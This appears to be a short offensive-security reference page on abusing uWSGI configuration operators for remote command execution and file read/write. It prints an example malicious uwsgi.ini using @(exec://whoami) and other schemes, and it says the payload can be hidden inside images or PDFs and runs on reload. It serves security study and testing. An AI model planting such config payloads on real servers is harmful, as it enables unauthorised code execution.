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33 lines
1.3 KiB
Markdown
33 lines
1.3 KiB
Markdown
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# uWSGI configuration file
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uWSGI configuration files can include “magic” variables, placeholders and operators defined with a precise syntax. The ‘@’ operator in particular is used in the form of @(filename) to include the contents of a file. Many uWSGI schemes are supported, including “exec” - useful to read from a process’s standard output. These operators can be weaponized for Remote Command Execution or Arbitrary File Write/Read when a .ini configuration file is parsed:
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Example of malicious uwsgi.ini file:
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```ini
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[uwsgi]
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; read from a symbol
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foo = @(sym://uwsgi_funny_function)
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; read from binary appended data
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bar = @(data://[REDACTED])
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; read from http
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test = @(http://[REDACTED])
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; read from a file descriptor
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content = @(fd://[REDACTED])
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; read from a process stdout
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body = @(exec://whoami)
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; call a function returning a char *
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characters = @(call://uwsgi_func)
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```
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When the configuration file will be parsed(e.g. restart, crash or autoreload) payload will be executed.
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## uWSGI lax parsing
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The uWSGI parsing of configuration file is lax. The previous payload can be embedded inside a binary file(e.g. image, pdf, ...).
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## Thanks to
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* [A New Vector For “Dirty” Arbitrary File Write to RCE - Doyensec - Maxence Schmitt and Lorenzo Stella](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html)
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